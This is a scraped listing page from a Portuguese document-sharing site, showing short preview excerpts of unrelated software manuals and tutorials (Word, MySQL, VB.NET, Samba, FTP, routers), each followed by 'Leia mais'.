Microsoft Word 97 Básico Poder Judiciário Tribunal Regional Federal da Terceira Região Microsoft Word 97 Básico DIMI - Divisão de Microinformática e Redes Índice: I. Executando o Word... 4 II. A tela do Word 97... 6 III. Digitando

Leia mais

MÓDULOS GAVETEIROS MGI-20/MGI-40 AC MGI 2000 AC. Manual de Instruções

MÓDULOS GAVETEIROS MGI-20/MGI-40 AC MGI 2000 AC. Manual de Instruções MÓDULOS GAVETEIROS MGI-20/MGI-40 AC MGI 2000 AC Manual de Instruções Leia com Atenção Cód. Menno: 833020001 Rev.: 7 1. Apresentação A linha tradicional de módulos gaveteiros da MENNO sempre foi direcionada

Leia mais

Manual de Instalação e Configuração MySQL

Manual de Instalação e Configuração MySQL Manual de Instalação e Configuração MySQL Data alteração: 19/07/11 Pré Requisitos: 1. Baixar os seguintes arquivos no através do link http://ip.sysfar.com.br/install/ mysql-essential-5.1.46-win32.msi mysql-gui-tools-5.0-r17-win32.msi

Leia mais

Iniciando no Visual Basic.NET

Iniciando no Visual Basic.NET Iniciando no Visual Basic.NET A Microsoft disponibiliza duas versões das suas ferramentas de desenvolvimento, a versão profissional, que integra, em um único ambiente, todas as ferramentas de desenvolvimento

Leia mais

Arq = Freefile Open C:\Pasta\Arquivo.dat For Binary As #arq Abrir o arquivo binario. X = Seek(arq) Mostra a posição que está sendo lida no arquivo

Arq = Freefile Open C:\Pasta\Arquivo.dat For Binary As #arq Abrir o arquivo binario. X = Seek(arq) Mostra a posição que está sendo lida no arquivo 6.3 Arquivos Binários Para ler arquivos binários é utilizado o seguinte comando. Arq = Freefile Open C:\Pasta\Arquivo.dat For Binary As #arq Abrir o arquivo binario Get #arq, 1, CabArquivo Lê o arquivo

Leia mais

FileZilla Server. O FileZilla Server é um ótimo servidor FTP, conta com diversas funções e fácil instalação e configuração.

FileZilla Server. O FileZilla Server é um ótimo servidor FTP, conta com diversas funções e fácil instalação e configuração. FileZilla Server Já apresentei um tutorial sobre o FileZilla, um cliente FTP com versões para vários sistemas operacionais, agora vou falar sobre o FileZilla Server, um programa que transforma seu computador

Leia mais

DEPARTAMENTO DE CIÊNCIA DA COMPUTAÇÃO. PROFa. GILENE BORGES GOMES. Home page: http://www.gomeshp.com E-mail: gilene@gomeshp.com

DEPARTAMENTO DE CIÊNCIA DA COMPUTAÇÃO. PROFa. GILENE BORGES GOMES. Home page: http://www.gomeshp.com E-mail: gilene@gomeshp.com APOSTILA DE DELPHI 7.0 DEPARTAMENTO DE CIÊNCIA DA COMPUTAÇÃO. PROFa. GILENE BORGES GOMES. Home page: http://www.gomeshp.com E-mail: gilene@gomeshp.com 1. INTRODUÇÃO Delphi possui um ambiente de desenvolvimento

Leia mais

Índice. 1. Conexão do Hardware...03. 2. Configuração do computador...05. 2.1. Sistema Operacional Windows 2000 ou Windows XP...05

Índice. 1. Conexão do Hardware...03. 2. Configuração do computador...05. 2.1. Sistema Operacional Windows 2000 ou Windows XP...05 Índice 1. Conexão do Hardware...03 2. Configuração do computador...05 2.1. Sistema Operacional Windows 2000 ou Windows XP...05 2.2. Sistema Operacional Windows Vista ou Windows 7...07 3. Assistente de

Leia mais

Introdução ao IDE Netbeans (Programação Java)

Introdução ao IDE Netbeans (Programação Java) Universidade Federal do ABC (UFABC) Disciplina: Processamento da Informação (BC-0505) Assunto: Java e Netbeans Introdução ao IDE Netbeans (Programação Java) Conteúdo 1. Introdução... 1 1.1. Programas necessários...

Leia mais

Universidade Federal de Minas Gerais

Universidade Federal de Minas Gerais 1 Universidade Federal de Minas Gerais Escola de Engenharia Departamento de Engenharia Eletrônica Laboratório de Informática Industrial 11 a Aula - Programação IEC 61131-3 no ambiente ISaGRAF Objetivos:

Leia mais

Manual de Instalação Linux Comunicações - Servidor. Centro de Computação Científica e Software Livre - C3SL

Manual de Instalação Linux Comunicações - Servidor. Centro de Computação Científica e Software Livre - C3SL Manual de Instalação Linux Comunicações - Servidor Centro de Computação Científica e Software Livre - C3SL Sumário 1 Instalando o Linux Comunicações para Telecentros (servidor) 2 1.1 Experimentar o Linux

Leia mais

Tutorial 1 - Básico do VBA do Excel

Tutorial 1 - Básico do VBA do Excel Tutorial 1 - Básico do VBA do Excel Este tutorial contém a 1ª lição sobre a série Básico do VBA do Excel. Ele cobre tópicos de criação e gerenciamento de matrizes e o entendimento de estruturas de decisão

Leia mais

W-R2000nl Guia de instalação

W-R2000nl Guia de instalação W-R2000nl Guia de instalação Sumário Introdução...3 Instalação...5 Configurando seu computador...6 Acessando a tela de configurações...7 Configuração de Roteamento...8 Trocando senha de sua rede sem fio...13

Leia mais

API de Integração VB 6+

API de Integração VB 6+ Desenvolvedores API de Integração VB 6+ Versão 1.1.3 (17/06/2015) Vonix Av. Dr. Paulo Machado, 489 Campo Grande MS 79021-300 T 67 33180700 F 67 33180701 contato@vonix.com.br www.vonix.com.br Visão Geral

Leia mais

Segurança em Redes Sem Fio

Segurança em Redes Sem Fio Segurança em Redes Sem Fio Nós finalmente podemos dizer que as redes sem fio se tornaram padrão para a conexão de computadores. Placas de rede sem fio já são um acessório padrão nos notebooks há algum

Leia mais

Tutorial 1 o projeto em VB.net

Tutorial 1 o projeto em VB.net Tutorial 1 o projeto em VB.net Grupo de Educação Tutorial da Engenharia Computacional Minicursos GET Computacional 25 de junho, 2012 GET da Engenharia Computacional Tutorial - 1 o projeto em VB.net 1/57

Leia mais

8PSHTXHQRSURJUDPDSDUDEDL[DUDUTXLYRVGHXP)73

8PSHTXHQRSURJUDPDSDUDEDL[DUDUTXLYRVGHXP)73 8PSHTXHQRSURJUDPDSDUDEDL[DUDUTXLYRVGHXP)73 Por Júlio Cesar Pedroso $QWHVGH,QLFLDU O FTP (File Transfer Protocol - Protocolo de transferência de arquivos) oferece um meio de transferência e compartilhamento

Leia mais

Disparando o interpretador

Disparando o interpretador Capítulo 2: Usando o interpretador Python Disparando o interpretador O interpretador é frequentemente instalado como /usr/local/bin/python nas máquinas onde está disponível; adicionando /usr/local/bin

Leia mais

MANUAL DE SOFTWARE ARKITOOL 2012

MANUAL DE SOFTWARE ARKITOOL 2012 MANUAL DE SOFTWARE ARKITOOL 2012 Editado por: Idéias e programas, S.L. San Román de los Montes 25-Março-2012. ARKITool, Arkiplan, Além disso ARKITool são marcas comerciais de idéias e programas, S.L. REQUISITOS

Leia mais

Guia do Usuário do Avigilon Control Center Server

Guia do Usuário do Avigilon Control Center Server Guia do Usuário do Avigilon Control Center Server Versão 4.10 PDF-SERVER-D-Rev1_PT Copyright 2011 Avigilon. Todos os direitos reservados. As informações apresentadas estão sujeitas a modificação sem aviso

Leia mais

Estruturando um aplicativo

Estruturando um aplicativo Com o Visual FoxPro, é possível criar facilmente aplicativos controlados por eventos e orientados a objetos em etapas. Esta abordagem modular permite que se verifique a funcionalidade de cada componente

Leia mais

DESENVOLVIMENTO DE SOFTWARE PARA INTERNET LABORATÓRIO 1 PROF. EMILIO PARMEGIANI

DESENVOLVIMENTO DE SOFTWARE PARA INTERNET LABORATÓRIO 1 PROF. EMILIO PARMEGIANI DESENVOLVIMENTO DE SOFTWARE PARA INTERNET LABORATÓRIO 1 PROF. EMILIO PARMEGIANI Exercício 1 Neste exercício trabalharemos com alguns web controls básicos e praticaremos os tipos de dados do C#. Vamos criar

Leia mais

Curso de Iniciação ao Access Basic (I) CONTEÚDOS

Curso de Iniciação ao Access Basic (I) CONTEÚDOS Curso de Iniciação ao Access Basic (I) CONTEÚDOS 1. A Linguagem Access Basic. 2. Módulos e Procedimentos. 3. Usar o Access: 3.1. Criar uma Base de Dados: 3.1.1. Criar uma nova Base de Dados. 3.1.2. Criar

Leia mais

Certifique-se de que você possui todas as informações necessárias e equipamento em mãos antes de iniciar a instalação.

Certifique-se de que você possui todas as informações necessárias e equipamento em mãos antes de iniciar a instalação. Este produto pode ser configurado utilizando qualquer navegador web atual, como por ex. Internet Explorer 6 ou Netscape Navigator 7 ou superior. DSL-2730B Roteador ADSL Wireless Antes de começar Certifique-se

Leia mais

Utilizando Modems GSM Guia Prático. Esse artigo mostra de maneira simples e objetiva os conceitos fundamentais para utilização de um modem GSM.

Utilizando Modems GSM Guia Prático. Esse artigo mostra de maneira simples e objetiva os conceitos fundamentais para utilização de um modem GSM. Utilizando Modems GSM Guia Prático Esse artigo mostra de maneira simples e objetiva os conceitos fundamentais para utilização de um modem GSM. Luiz Henrique Corrêa Bernardes Cada vez mais estamos envolvidos

Leia mais

O que um Servidor Samba faz?

O que um Servidor Samba faz? O que é o Samba? O Samba é um "software servidor" para Linux (e outros sistemas baseados em Unix) que permite o gerenciamento e compartilhamento de recursos em redes formadas por computadores com o Windows

Leia mais

Neste capítulo discutiremos o que é uma DLL, seus aspectos e tipos e ainda, porquê é tão importante para as aplicações Windows

Neste capítulo discutiremos o que é uma DLL, seus aspectos e tipos e ainda, porquê é tão importante para as aplicações Windows DINAMIC LINK LIBRARIES Capítulo 7 Neste capítulo discutiremos o que é uma DLL, seus aspectos e tipos e ainda, porquê é tão importante para as aplicações Windows O QUE É UMA DLL? Dinamic Link Libraries

Leia mais

Conhecendo o Visual FoxPro 8.0 Parte 2

Conhecendo o Visual FoxPro 8.0 Parte 2 AULA Conhecendo o Visual FoxPro 8.0 Parte 2 Na aula anterior, vimos sobre: a) Janela de comando b) Gerenciador de Projetos c) Database Designer e Table Designer Prosseguiremos então a conhecer as ferramentas

Leia mais

TUTORIAL PARA CONFIGURAÇÃO MIKROTIK UTILIZANDO ROTEAMENTO DINÂMICO COM OSPF E AUTENTIÇÃO RADIUS EM NOSSO SISTEMA IXCPROVEDOR.

TUTORIAL PARA CONFIGURAÇÃO MIKROTIK UTILIZANDO ROTEAMENTO DINÂMICO COM OSPF E AUTENTIÇÃO RADIUS EM NOSSO SISTEMA IXCPROVEDOR. TUTORIAL PARA CONFIGURAÇÃO MIKROTIK UTILIZANDO ROTEAMENTO DINÂMICO COM OSPF E AUTENTIÇÃO RADIUS EM NOSSO SISTEMA IXCPROVEDOR. Neste senário temos um roteador de internet que vai ser nosso gateway do MK1,

Leia mais

SIPREV/Gestão de RPPS Implantação Manual de Instalação Versão 1.18

SIPREV/Gestão de RPPS Implantação Manual de Instalação Versão 1.18 Implantação Manual de Instalação Versão 1.18 1 de 44 - Manual de Instalação Histórico de Revisões Data Versão Descrição Autor 19/05/09 1.0 Criação do documento Carlos Tabosa-UDCE 22/05/09 1.1 Revisão do

Leia mais

Configuração Definitiva do Samba

Configuração Definitiva do Samba Configuração Definitiva do Samba 1 2 Sumário 1. Vantagens... 5 2. Desvantagem... 5 3. Conclusão Final... 5 4. Vamos botar a mão na massa!... 6 5. Instalação... 6 6. Configuração Parte 1 (Criando os diretórios)...

Leia mais

Trabalhando com Arquivos de Texto no VBA

Trabalhando com Arquivos de Texto no VBA OpenStax-CNX module: m47737 1 Trabalhando com Arquivos de Texto no VBA Joao Carlos Ferreira dos Santos This work is produced by OpenStax-CNX and licensed under the Creative Commons Attribution License

Leia mais

Polycom RealPresence Content Sharing Suite Guia rápido do usuário

Polycom RealPresence Content Sharing Suite Guia rápido do usuário Polycom RealPresence Content Sharing Suite Guia rápido do usuário Versão 1.2 3725-69877-001 Rev.A Novembro de 2013 Neste guia, você aprenderá a compartilhar e visualizar conteúdos durante uma conferência

Leia mais

Software Ativo. Operação

Software Ativo. Operação Software Ativo Operação Página deixada intencionalmente em branco PROTEO MANUAL OPERAÇÃO SUMÁRIO 1 - INSTALAÇÃO DO SOFTWARE ATIVO... 5 2 CRIANDO PROJETO UVS/ TMS PROTEO... 10 2.1 - Estrutura do Projeto...

Leia mais

Bem vindo ao tutorial de acesso ao serviço VPN-IAG

Bem vindo ao tutorial de acesso ao serviço VPN-IAG 1 Tutorial VPN IAG Bem vindo ao tutorial de acesso ao serviço VPN-IAG O que é VPN? VPN (Virtual Private Network ou Rede Privada Virtual) Vantagens Com este serviço é possível acessar sites restritos à

Leia mais

NOVO SISTEMA DE CORREIO ELETRONICO PARA OS DOMINIOS ic.uff.br & dcc.ic.uff.br

NOVO SISTEMA DE CORREIO ELETRONICO PARA OS DOMINIOS ic.uff.br & dcc.ic.uff.br NOVO SISTEMA DE CORREIO ELETRONICO PARA OS DOMINIOS ic.uff.br & dcc.ic.uff.br A partir de 28/07/2004 (quarta-feira), ás 17:30 hs estaremos trocando nossos servidores de correio para ambos os domínios ic.uff.br

Leia mais

O que é VBScript? (VBS)

O que é VBScript? (VBS) O que é VBScript? (VBS) O vbscript é uma versão "light" do Visual Basic destinada à Internet, possui várias limitações para que não seja criados problemas com segurança, através dele não é possível salvar

Leia mais

Procedimentos Operacionais Ambiente Microsoft Windows 2000 Server Máquina Smart02 ADM

Procedimentos Operacionais Ambiente Microsoft Windows 2000 Server Máquina Smart02 ADM Procedimentos Operacionais Ambiente Microsoft Windows 2000 Server Máquina Smart02 ADM Destinada para GSSOF A máquina Smart02 destina-se ao ambiente de produção do projeto SmartCard e garante a comunicação

Leia mais

Dicas para usar melhor o Word 2007

Dicas para usar melhor o Word 2007 Dicas para usar melhor o Word 2007 Quem está acostumado (ou não) a trabalhar com o Word, não costuma ter todo o tempo do mundo disponível para descobrir as funcionalidades de versões recentemente lançadas.

Leia mais

Criar o diagrama entidade associação do exemplo do hotel no Oracle Designer

Criar o diagrama entidade associação do exemplo do hotel no Oracle Designer Criar o diagrama entidade associação do exemplo do hotel no Oracle Designer 1 escolher o tipo de dados de cada atributo 2 escolher as chaves Gerar as tabelas Correr o "Database Design Transformer" 3 Seleccionar

Leia mais

ÍNDICE 1.CONHECENDO OS APLICATIVOS NECESSÁRIOS PARA O FUNCIONAMENTO DO SISTEMA URANO INTEGRA...

ÍNDICE 1.CONHECENDO OS APLICATIVOS NECESSÁRIOS PARA O FUNCIONAMENTO DO SISTEMA URANO INTEGRA... Instalação do Sistema Urano Integra em Sistema Operacional Windows 1 ÍNDICE 1.CONHECENDO OS APLICATIVOS NECESSÁRIOS PARA O FUNCIONAMENTO DO SISTEMA URANO INTEGRA.... 3 1.1 URANO INTEGRA... 3 1.2 JAVA RUNTIME

Leia mais

Guia de conceitos básicos API Version 2010-01-01

Guia de conceitos básicos API Version 2010-01-01 : Guia de conceitos básicos Copyright 2011 Amazon Web Services LLC ou suas afiliadas. Todos os direitos reservados. Conceitos básicos do Amazon RDS... 1 Cadastre-se no Amazon RDS... 2 Inicie uma instância

Leia mais

1 REQUISITOS BÁSICOS PARA INSTALAR O SMS PC REMOTO

1 REQUISITOS BÁSICOS PARA INSTALAR O SMS PC REMOTO 1 ÍNDICE 1 REQUISITOS BÁSICOS PARA INSTALAR O SMS PC REMOTO... 3 1.1 REQUISITOS BASICOS DE SOFTWARE... 3 1.2 REQUISITOS BASICOS DE HARDWARE... 3 2 EXECUTANDO O INSTALADOR... 3 2.1 PASSO 01... 3 2.2 PASSO

Leia mais

O Protocolo SMTP. Configuração de servidor SMTP

O Protocolo SMTP. Configuração de servidor SMTP O Protocolo SMTP (Simple Mail Transfer Protocol, que se pode traduzir por Protocolo Simples de Transferência de Correio) é o protocolo standard que permite transferir o correio de um servidor a outro em

Leia mais

Instalação, configuração e manual

Instalação, configuração e manual Cardápio Moura Instalação, configuração e manual Conteúdo Instalação... 4 Requisitos mínimos... 4 Windows 8... 5 Instalação do IIS no Windows 8... 5 Configuração do IIS no WINDOWS 8... 15 Windows 7...

Leia mais

Word 1 - Introdução 1.1 - Principais recursos do word 1.2 - A janela de documento 1.3 - Tela principal

Word 1 - Introdução 1.1 - Principais recursos do word 1.2 - A janela de documento 1.3 - Tela principal Word 1 - Introdução O Word para Windows ou NT, é um processador de textos cuja finalidade é a de nos ajudar a trabalhar de maneira mais eficiente tanto na elaboração de documentos simples, quanto naqueles

Leia mais

Guia para atualização de Firmware dos consoles CL5, CL3 e CL1. (Firmware 1.51)

Guia para atualização de Firmware dos consoles CL5, CL3 e CL1. (Firmware 1.51) Guia para atualização de Firmware dos consoles CL5, CL3 e CL1 (Firmware 1.51) Yamaha Musical do Brasil www.yamaha.com.br PRECAUÇÕES 1. O usuário assume total responsabilidade pela atualização. 2. Atualize

Leia mais

Tutorial Mozilla Thunderbird 1.5

Tutorial Mozilla Thunderbird 1.5 Tutorial Mozilla Thunderbird 1.5 Você poderá fazer o download do Thunderbird na página principal (http://www.mozilla.org/projects/thunderbird/). Ele é totalmente freeware. Ao fazer o download da versão

Leia mais

Microsoft Excel 2003

Microsoft Excel 2003 Associação Educacional Dom Bosco Faculdades de Engenharia de Resende Microsoft Excel 2003 Módulo II Macros e Tabelas Dinâmicas Professores: Eduardo Arbex Mônica Mara Tathiana da Silva Resende 2010 Macro

Leia mais

RASTREIE SEU NOTEBOOK (FURTADO OU ROUBADO) INTERNET

RASTREIE SEU NOTEBOOK (FURTADO OU ROUBADO) INTERNET Veja nesse tutorial vamos aprender como instalar o aplicativo gratuito Prey e como realizar o rastreamento de seu computador (netbook, notebook, desktop). Prey é uma aplicativo que você instala em sua

Leia mais

Display de 7. PdP. Autor: Tiago Lone Nível: Básico Criação: 16/12/2005 Última versão: 18/12/2006. Pesquisa e Desenvolvimento de Produtos

Display de 7. PdP. Autor: Tiago Lone Nível: Básico Criação: 16/12/2005 Última versão: 18/12/2006. Pesquisa e Desenvolvimento de Produtos TUTORIAL Display de 7 Segmentos Autor: Tiago Lone Nível: Básico Criação: 16/12/2005 Última versão: 18/12/2006 PdP Pesquisa e Desenvolvimento de Produtos http://www.maxwellbohr.com.br contato@maxwellbohr.com.br

Leia mais